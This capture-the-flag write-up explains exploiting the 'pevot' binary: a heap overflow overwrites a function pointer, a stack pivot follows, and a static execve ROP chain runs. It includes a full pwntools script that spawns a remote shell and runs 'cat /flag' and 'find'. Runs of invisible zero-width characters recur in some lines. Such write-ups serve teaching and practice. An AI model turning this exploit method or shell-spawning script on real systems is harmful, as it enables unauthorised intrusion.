← Back to Writeups
CUSTOMMediumpwn

pivot (pevot)

XESXOR9/2/20265 min read
#pwn#custom#medium#heap_overflow_funcptr_overwrit#leak_free_exploitation#stack_pivot_mov_rsp_rcx#static_execve_rop#linux

pivot (pevot)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heap_overflow_funcptr_overwrite, leak_free_exploitation, stack_pivot_mov_rsp_rcx, static_execve_rop

Summary

Task: 64-bit statically-linked NON-PIE pwn binary with a heap overflow that overwrites a function pointer stored at chunk+0x200, which is then invoked via call r8 while RCX holds the heap-buffer base. Solution: overwrite the pointer with a mov rsp, rcx ; ret pivot to relocate the stack into the controlled heap buffer, then run a leak-free static execve("/bin/sh") ROP chain using glibc-embedded gadgets.

pivot (pevot) — pwn_spbctf

Description

pwn4 — "shellcoding". Binary: pevot. Remote: nc 109.233.56.90 11616 (pwn.spbctf.ru).

A 64-bit x86-64 ELF, statically linked (glibc baked in), NON-PIE, NX enabled, with a stack canary in main (the canary is irrelevant to the heap code path). The goal is to get a shell on the remote and read /flag. The task name pivot is the hint: the intended solution is a stack pivot.

Analysis

The relevant logic in main (@ 0x401cd4):

  1. rax = malloc(0x208) — allocate a heap chunk.
  2. Store a pointer to a cleanup routine (0x401cad) at chunk+0x200.
  3. fgets(chunk, 0x1770, stdin) — read up to 0x1770 bytes into a 0x208-byte chunk. This is a massive heap overflow: the read length dwarfs the allocation, so we can freely overwrite the function pointer at chunk+0x200 (and everything around it).
  4. Load r8 = [chunk+0x200] and invoke call r8 with the registers:
    • edi = 0
    • esi = 0xcafebabe
    • edx = 0xdeadbeef
    • rcx = chunk (the malloc'd base pointer!)
    • r8 = [chunk+0x200] (our controlled target) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key insight

At the call r8 site we control both:

  • the entire chunk contents (up to 0x1770 bytes via fgets), and
  • the call target (the qword we wrote at chunk+0x200).

Crucially, RCX still holds the heap-buffer base at the call. There is no heap leak, but we don't need one — RCX hands us the heap base for free.

Why a single overwrite is not enough

Overwriting a called function pointer gives single-shot RIP control, not a ROP chain. To execute a full chain we must pivot the stack into the buffer we control. Since RCX already points at the heap buffer at the call site, the cleanest pivot is: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

mov rsp, rcx ; ret     ; (or: push rcx ; pop rsp ; ret)

After this gadget runs, RSP points at chunk[0], where we staged the ROP chain. The ret then begins executing it.

Constraints

  • fgets stops at a newline (0x0a) and NUL-terminates. The entire payload (ROP chain at chunk start + pivot pointer at chunk+0x200) must contain no 0x0a byte. All chosen gadget/string addresses happen to be newline-free.
  • Static + NON-PIE means every gadget, syscall, and the /bin/sh string live at fixed virtual addresses — fully leak-free exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Build a leak-free execve("/bin/sh", NULL, NULL) ROP chain using static glibc gadgets. The /bin/sh string is not at a clean newline-free fixed address in some builds, so the chain first writes "/bin/sh\0" into writable .bss, then calls execve on it.

Gadgets (fixed static vaddrs, found via ROPgadget --binary pevot):

PurposeAddressGadget
pivot0x47d414mov rsp, rcx ; ret
rdi0x4017e6pop rdi ; ret
rsi (+r15)0x4017e4pop rsi ; pop r15 ; ret
rdx0x4016fbpop rdx ; ret
rax0x43f533pop rax ; ret
write mem0x43c18bmov qword ptr [rdi], rsi ; ret
syscall0x40120bsyscall
.bss0x4ae240writable buffer for "/bin/sh\0"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Layout in the single fgets line:

  • chunk[0x000 ..] — the ROP chain (lands under RSP after the pivot).
  • chunk[0x200] — the function pointer = PIVOT (mov rsp, rcx ; ret).

Flow: call r8 → pivot sets RSP = chunk → ret runs the chain → write /bin/sh to .bss → execve("/bin/sh", 0, 0) → shell over the socket → cat /flag.

python
#!/usr/bin/env python3
# pevot (static, NON-PIE, NX). Heap overflow overwrites func ptr at chunk+0x200.
# At `call r8`: r8 = our qword@0x200, rcx = heap chunk base (we control whole chunk).
# Pivot: r8 = `mov rsp, rcx ; ret` (0x47d414) => rsp = chunk base => ROP chain runs from chunk[0].
# Chain: write "/bin/sh\0" to .bss, then execve("/bin/sh", 0, 0).
from pwn import *
import sys, time
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'
context.log_level = 'warn'
HOST, PORT = 'pwn.spbctf.ru', 11616

# gadgets (static, fixed vaddr)
PIVOT         = 0x47d414   # mov rsp, rcx ; ret
POP_RDI       = 0x4017e6   # pop rdi ; ret
POP_RSI_R15   = 0x4017e4   # pop rsi ; pop r15 ; ret
POP_RDX       = 0x4016fb   # pop rdx ; ret
POP_RAX       = 0x43f533   # pop rax ; ret
SYSCALL       = 0x40120b   # syscall
WRITE_RDI_RSI = 0x43c18b   # mov qword ptr [rdi], rsi ; ret
BSS           = 0x4ae240   # writable .bss

def build():
    binsh = u64(b'/bin/sh\x00')
    chain  = b''
    # write "/bin/sh\0" to BSS
    chain += p64(POP_RDI) + p64(BSS)
    chain += p64(POP_RSI_R15) + p64(binsh) + p64(0)
    chain += p64(WRITE_RDI_RSI)
    # execve("/bin/sh", 0, 0)
    chain += p64(POP_RDI) + p64(BSS)
    chain += p64(POP_RSI_R15) + p64(0) + p64(0)
    chain += p64(POP_RDX) + p64(0)
    chain += p64(POP_RAX) + p64(0x3b)
    chain += p64(SYSCALL)
    assert len(chain) <= 0x200, hex(len(chain))
    assert b'\x0a' not in chain, "newline in chain"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    buf = bytearray(b'\x00' * 0x208)
    buf[0:len(chain)] = chain          # ROP chain at chunk start (RSP lands here)
    buf[0x200:0x208]  = p64(PIVOT)     # func ptr at chunk+0x200 -> pivot gadget
    assert b'\x0a' not in bytes(buf), "newline in buffer"
    return bytes(buf)

def solve():
    io = remote(HOST, PORT)
    io.send(build() + b'\n')
    time.sleep(0.5)
    io.sendline(b'id; echo ===MARK===; cat /flag; echo ===; ls -la /')
    time.sleep(1)
    return io, io.recv(timeout=3)

if __name__ == '__main__':
    for attempt in range(15):
        try:
            io, out = solve()
        except Exception as ex:
            time.sleep(2); continue
        if out and b'spbctf{' in out:
            idx = out.find(b'spbctf{')
            print("FLAG:", out[idx:idx+80].decode(errors='replace'))
            io.close(); sys.exit(0)
        if out and b'uid=' in out:
            io.sendline(b'cat /flag 2>/dev/null; cat flag 2>/dev/null; '
                        b'find / -name "flag*" 2>/dev/null')
            time.sleep(1)
            more = io.recv(timeout=3)
            if b'spbctf{' in more:
                idx = more.find(b'spbctf{')
                print("FLAG:", more[idx:idx+80].decode(errors='replace'))
                io.close(); sys.exit(0)
            io.interactive()
        try: io.close()
        except: pass
        time.sleep(1.5)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After getting the shell over the socket, cat /flag returned the flag (a /bin/getflag helper is also available if /flag isn't directly readable). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍